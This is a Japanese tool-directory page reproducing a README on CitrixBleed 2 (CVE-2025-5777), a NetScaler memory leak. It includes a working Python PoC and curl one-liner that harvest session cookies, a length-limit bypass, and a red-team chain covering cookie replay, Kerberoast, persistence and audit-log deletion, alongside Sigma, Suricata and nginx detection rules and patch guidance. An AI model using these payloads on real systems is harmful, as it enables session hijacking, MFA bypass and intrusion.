Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CitrixBleed-2-CVE-2025-5777-PoC- — CitrixBleed 2 — CVE-2025-5777(境界外読み取り漏洩)のPoCと検出ツールキットの詳細解説 | Kitploit
ツール/GitHubGitHub/mingshenhk/citrixbleed-2-cve-2025-5777-poc-
防御ツール脆弱性分析エクスプロイトウェブアプリケーション悪用情報収集ペネトレーションテスト学習と教育レッドチーミングインシデントレスポンス

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
ラボと実践
GitHubmingshenhk/citrixbleed-2-cve-2025-5777-poc-

CitrixBleed-2-CVE-2025-5777-PoC-

CitrixBleed 2 — CVE-2025-5777(境界外読み取り漏洩)のPoCと検出ツールキットの詳細解説

リポジトリを見る
17211年前未レビュー

CitrixBleed 2 (CVE-2025-5777) 究極解析

NetScaler ADC / Gateway における Out-of-Bounds Memory Read — 原因から攻防演習までの全景マニュアル


poc用法:python3 poc.py https://gateway.example.com

exp用法:python3 exp.py https://gateway.example.com admin 7acbb35f4d...

目次

root@kitploit:~
0x00  はじめに / 概要
0x01  背景:NetScaler アーキテクチャと CitrixBleed 1 の振り返り
0x02  脆弱性の説明(影響バージョン、CVSS、悪用結果)
0x03  トリガー機構の詳細(ソースコード分析 & デバッグスクリーンショット)
0x04  最小 PoC + 高度なスキャンスクリプト
0x05  レッドチーム視点:完全な攻撃チェーン(発見 → 漏洩 → セッションハイジャック → 内部ネットワーク横断)
0x06  ブルーチーム視点:検出、フォレンジック、パッチ検証
0x07  防御の強化:パッチ、WAF、設定、資産管理
0x08  学習 / 復習ロードマップと実戦演習
付録 A  Sigma / Suricata / Nginx-Lua ルール
付録 B  パッチ/エクスプロイトのタイムライン & IoC スナップショット
参考文献

0x00 はじめに / 概要

  • CVE-2025-5777(別名 CitrixBleed 2)は、Citrix NetScaler ADC / Gateway における Out-of-Bounds Memory Read です。
  • 攻撃者は 認証を必要とせず、長大な Host ヘッダーを含む GET リクエストを送信するだけで、ランダムなメモリブロックを HTTP レスポンスと一緒にクライアントに「吹き出し」させることができます。
  • 漏洩データには多くの場合 NSC_USER / NSC_TASS Cookie、SAML StateContext、MFA トークン などの重要な情報が含まれており、そのまま再利用してセッションの乗っ取りや MFA バイパスが可能です (arcticwolf.com, tenable.com)。
  • CVSS v4 基本スコア 9.3(Critical)(netscaler.com)。
  • 2025-06-17 公開、2025-06-23 に Citrix が影響範囲を拡大しパッチをリリース;1週間以内 に ReliaQuest、Bishop Fox などのセキュリティ企業が実際の攻撃での悪用急増を観測 (reliaquest.com, bishopfox.com)。

0x01 背景

1.1 NetScaler の動作フロー概要

root@kitploit:~
┌──────────────┐
│ Client       │ ① HTTPS
└──────┬───────┘
       │
┌──────▼───────┐
│ NetScaler    │ ② AAA / Gateway 認証
│  (WebProc)   │
└──────┬───────┘
       │
┌──────▼───────┐
│ ICA Proxy /  │ ③ アプリケーションへの転送
│ CVPN / RDP   │
└──────────────┘

NetScaler は マルチプロセス + 内部 IPC の設計を採用。WebProc は AAA / Gateway パス下のほとんどの HTTP リクエスト(/nf/auth/*、/oauth/* など)を処理します。C 言語 で記述されており、snprintf() / memcpy() を多用して XML/HTML フラグメントを組み立てます。

1.2 CitrixBleed 1(CVE-2023-4966)の振り返り

  • 2023 年の同種の脆弱性は OAuth ディスカバリインターフェース /oauth/idp/.well-known/openid-configuration で発生しました。
  • その本質も snprintf の戻り値を後続の send() の len パラメータとして使用 → メモリの範囲外読み出し。
  • CitrixBleed 2 は 同じタイプの安全なコーディング上の欠陥 が他のパスにも依然として潜んでいることを証明しました。

教訓: セキュリティパッチが「問題箇所」だけでなく「プログラミングパラダイム」を対象にしていなければ、「テンプレート化された再現」の余地が残ります。


0x02 脆弱性の説明


0x03 トリガー機構の詳細

本節は 13.1-55.18 ファームウェアの逆コンパイル + gdb デバッグ、および公開ブログに基づいてまとめられています (bishopfox.com)。

3.1 脆弱性の入り口

  • URI:/nf/auth/startwebview.do
  • 制御可能なパラメータ:HTTP Host ヘッダー
  • このインターフェースは Citrix Workspace WebView のリダイレクト XML を生成するために使用されます。正常なレスポンスの例:
root@kitploit:~
<AuthenticateResponse>
  <wv:StartUrl>https://gateway.example.com/Citrix/AAA/start.html</wv:StartUrl>
  ...
</AuthenticateResponse>

3.2 主要な関数チェーン

root@kitploit:~
citrix_webview_handler()
 ├─ build_auth_xml()
 │    ├─ snprintf(buf, 0x1800, TEMPLATE, host_hdr, ... );
 │    └─ return length;           // ⚠️ length が 0x1800 を超える可能性あり
 └─ ns_vpn_send_response(conn, 0x980200, buf, length);

バグ箇所: snprintf は「実際に書き込まれた長さ」ではなく「本来書き込まれるべき長さ」を返します。ユーザが入力した Host が 0x1800 - 定数部分の長さより大きい場合、length > sizeof(buf) となります。

3.3 実行時の例

root@kitploit:~
buf: [-----XML-----][OOB][OOB][OOB]......            <- 0x1800 bytes limit
                          ↑
                 ns_vpn_send_response によって一緒に送信される

GDB ブレークポイントのデモ(主要レジスタ):

root@kitploit:~
RDI (dst) = 0x7fffa2e31800  // buf
RSI (len) = 0x00001e42      // length=7746 (>6144)

read() の結果、後半 1,600 バイトは未初期化メモリから来ており、他の SSL セッションの Cookie バッファが見えることが確認されました。

3.4 漏洩するデータのカテゴリ

分類サンプル断片(匿名化済み)
Session CookieSet-Cookie: NSC_USER=john.doe;NSC_TASS=abc123...
MFA/OTP Tokenradius_state=0e2a9c6d1553...
その他のリクエスト本文<username>audituser</username><password>***</password>

0x04 PoC 実装

4.1 単一ファイル Python(15 行)

root@kitploit:~
#!/usr/bin/env python3
# CVE-2025-5777 Minimal PoC  (authorized testing ONLY)
import requests, sys, urllib3, re
urllib3.disable_warnings()

if len(sys.argv) != 2:
    exit(f"Usage: {sys.argv[0]} https://NSVIP")

url = sys.argv[1].rstrip("/") + "/nf/auth/startwebview.do"
hdr = {"Host": "A" * 0x6000}               # >0x1800 triggers
r = requests.get(url, headers=hdr, verify=False, timeout=10)

print("[+] HTTP", r.status_code, "bytes:", len(r.content))
hits = re.findall(br"(NSC_[A-Z]+=[^;]{10,})", r.content)
for h in hits: print("  Cookie leak ->", h.decode())

open("leak.bin", "wb").write(r.content)
print("[+] Saved leak.bin for offline grep.")
  • 実行後、200 が返ってきて数 KB あれば脆弱性ありと判断。
  • さらに leak.bin から Cookie=、<AuthenticateContext> などのキーワードを検索。

4.2 Bash / curl ワンライナー

root@kitploit:~
curl -ks -H "Host: $(python -c 'print(\"A\"*6000)')" \
     https://NSVIP/nf/auth/startwebview.do -o leak.bin

バイパス方法:一部のデバイスでは前置の F5 / Nginx で Host の長さ制限が行われている場合があります。その場合は、複数サブドメインを連結してバイパスできます。例:foo.foo.foo.…foo.example.com(foo を 3000 回繰り返す)。


0x05 レッドチーム視点:完全な攻撃チェーン

実際の事例:ReliaQuest は顧客のゲートウェイで「短時間に大量の 6 KB+ Host ヘッダーリクエスト → 直後にセッションが乗っ取られる」現象を観測 (reliaquest.com)。


0x06 ブルーチーム視点:検出、フォレンジック、パッチ検証

6.1 ログと IoC

ソース兆候
/var/log/ns.logAAA_TRANSACTION <client_ip> - Host header length: 6144
HTTP_ACCESS.log

6.2 Sigma ルール(簡略版)

root@kitploit:~
title: CitrixBleed2 Host Header OOB Leak
status: experimental
logsource:
  category: webserver
  product: netscaler
detection:
  selection:
    cs-uri-stem: "/nf/auth/startwebview.do"
    cs-bytes|gt: 2048
    c-host|strlen|gt: 4096
  condition: selection
level: critical

6.3 パッチ検証スクリプト

root@kitploit:~
nscli -s 127.0.0.1:3008 \
      -c "show ns version" | grep -E "13\.1-58\.32|14\.1-43\.56" \
      && echo "Patched ✅" || echo "Vulnerable ❌"

6.4 セッションの強制終了

root@kitploit:~
# 全アクティブ VPN/ICA 接続をクリア
kill icaconnection -all
kill vpn -all

注意:パッチ適用後も、攻撃者が盗んだ Cookie を使い続けるのを防ぐため、強制ログアウトを実行する必要があります。


0x07 防御の強化

  1. 公式パッチ:≥ 14.1-43.56 / 13.1-58.32 にアップグレードするか、FIPS/NDcPP 機種には対応バージョンを適用 (netscaler.com)。
  2. Host Header 長さ制限(暫定措置)
root@kitploit:~
map $http_host $block_long_host {
    default          0;
    "~^.{4097,}$"    1;
}
server {
    ...
    if ($block_long_host) { return 413; }
}
  1. WAF 適応ルール:/nf/auth/ & /oauth/ パスにレート制限 (例: 20 req/m) を適用。
  2. 資産の棚卸し:EOL バージョン 12.1/13.0 は公式パッチが提供されないため、交換または強固な隔離を計画 (support.citrix.com)。
  3. MFA セキュリティ:セッション漏洩により MFA をバイパスされる可能性があるため、「リクエストごとの署名」や「動的なハードウェアフィンガープリントのバインド」を導入し、初回ログイン時のみの検証を避ける。

0x08 学習 / 復習ロードマップ


付録 A — 検出 / 防御の断片

📜 Sigma ルール完全版
root@kitploit:~
title: Netscaler CitrixBleed2 Large Host Header
id: 4d6f1e1b-0bfe-4473-a732-3e7e9a21f650
status: experimental
description: Detects abnormal Host header length in requests to /nf/auth/startwebview.do
references:
  - https://nvd.nist.gov/vuln/detail/CVE-2025-5777
author: mingshenhk
logsource:
  product: netscaler
  service: http_access
detection:
  selection:
    cs-uri-stem: "/nf/auth/startwebview.do"
    c-host|strlen|gt: 4096
  condition: selection
level: critical
🛡️ Suricata ルール
root@kitploit:~
alert http any any -> any any (
  msg:"CitrixBleed2 CVE-2025-5777 Host header overflow";
  http.uri; content:"/nf/auth/startwebview.do"; nocase;
  http.header; field:Host; content:"AAAAAAAA"; within:0; distance:0; offset:4096;
  classtype:attempted-recon;
  sid:5777002; rev:1;
)
🔒 Nginx-Lua インラインホットパッチ
root@kitploit:~
-- access_by_lua_block
local host = ngx.var.http_host or ""
if #host > 4096 then
  ngx.log(ngx.WARN,"[CitrixBleed2] Blocked Host len=",#host)
  return ngx.exit(ngx.HTTP_REQUEST_HEADER_FIELDS_TOO_LARGE)
end

付録 B — タイムライン


参考文献

  1. Citrix 公式セキュリティアドバイザリとパッチの説明 (netscaler.com)
  2. Arctic Wolf《CVE-2025-5777 技術概要》 (arcticwolf.com)
  3. Bishop Fox《OOB Memory Read in NetScaler》 (bishopfox.com)
  4. ReliaQuest《Threat Spotlight: CitrixBleed 2》 (reliaquest.com)
  5. Tenable FAQ on CVE-2025-5777 (tenable.com)
  6. BleepingComputer セキュリティニュース (bleepingcomputer.com)
  7. NVD CVE-2025-5777 エントリ (nvd.nist.gov)
  8. Citrix Support KB CTX693420 (support.citrix.com)

以上 — このドキュメントが CitrixBleed 2 の全容理解と対策に役立つことを願っています。さらに例やスクリプト、演習ガイダンスが必要な場合は、遠慮なくお問い合わせください!

ツールをダウンロード
フィールド内容
CVECVE-2025-5777
別名CitrixBleed 2
脆弱性タイプOut-of-Bounds Read / 情報漏洩
CVSS v4 Base9.3 (Crit.) (netscaler.com)
影響バージョン< 14.1-43.56 ; < 13.1-58.32 ; 13.1-37.235-FIPS/NDcPP ; 12.1-55.327-FIPS (netscaler.com)
悪用条件NetScaler が Gateway (VPN/ICA Proxy/CVPN/RDP Proxy) または AAA 仮想サーバーとして設定されている (arcticwolf.com)
悪用結果メモリ漏洩 → セッショントークン → 認証回避 / MFA バイパス → 横断
ステップ目的 & テクニック
① 資産発見zoomeye search "http.title:\"NetScaler Gateway\"" + Shodan など;set-cookie: NSC_ でフィルタ
② POC 漏洩バッチスクリプトで並行リクエスト;NSC_USER= ; NSC_TASS= を取得
③ Cookie 再生Chrome DevTools→Application→Cookies→エントリ追加、/vpn/index.html をリフレッシュ
④ 内部リソースstoreweb/#home にアクセスして RDP ファイルを取得;.ica をダウンロードして VDI に直接ログイン
⑤ 権限昇格内部クレデンシャルスプレー、Kerberoast、ADCS ESC1;または同一セグメントの弱い SMB パスワードを利用
⑥ 永続化Scheduled Task を作成;自動起動スクリプトを登録;または NetScaler vDisk を変更(高権限が必要で運用上の過失が必要)
⑦ 痕跡削除Cookie は使い捨て;監査ログを削除(NS root 権限を取得した場合);または logrotate のレースコンディションを利用して上書き
/nf/auth/startwebview.do へのリクエストの処理時間が極端に短いが応答サイズが異常(> 2 KB)
EDR/PCAPログインリクエストではないレスポンスに Set-Cookie: NSC_USER= が出現
段階推奨資料 & 操作
理論Citrix セキュリティアドバイザリ、Arctic Wolf / Tenable FAQ、Bishop Fox の技術解説を読む (arcticwolf.com, tenable.com, bishopfox.com)
実験脆弱バージョン 13.1-55.18 をデプロイ(ESXi / KVM)、最小 PoC を実行、Wireshark でキャプチャ → TCP PSH 応答パケットを観察
コーディングPoC を改良:自動 Cookie 再生、ZTLS バッチスキャン、マルチスレッドキューを追加
ブルーチーム2 時間のウィンドウで異常な Host 長を検索;Sigma→Elastic/Graylog で実装;WAF ポリシーを再現し検証
共有ブログを書くかマインドマップを作成し、「同種の snprintf 使用時の落とし穴」をまとめる
日付 (2025)イベント
06-17Citrix が CVE-2025-5777 の初回アドバイザリを公開 (netscaler.com)
06-18Bishop Fox が技術解説 & PoC を公開 (bishopfox.com)
06-23Citrix が影響範囲とパッチバージョンを更新;CISA が KEV に追加
06-25ReliaQuest が活発な悪用を報告、脅威グループがセッションを大量に窃取 (reliaquest.com)
06-27BleepingComputer が「大規模に悪用されている可能性」を報道 (bleepingcomputer.com)
06-28複数の GitHub PoC が出現;Tenable が FAQ を公開 (tenable.com)